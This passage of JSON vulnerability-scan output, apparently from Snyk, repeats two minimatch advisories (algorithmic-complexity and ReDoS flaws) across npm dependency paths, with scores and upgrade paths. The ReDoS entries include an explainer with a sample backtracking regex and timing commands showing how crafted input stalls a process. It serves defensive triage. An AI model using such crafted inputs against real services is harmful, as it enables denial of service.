"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very 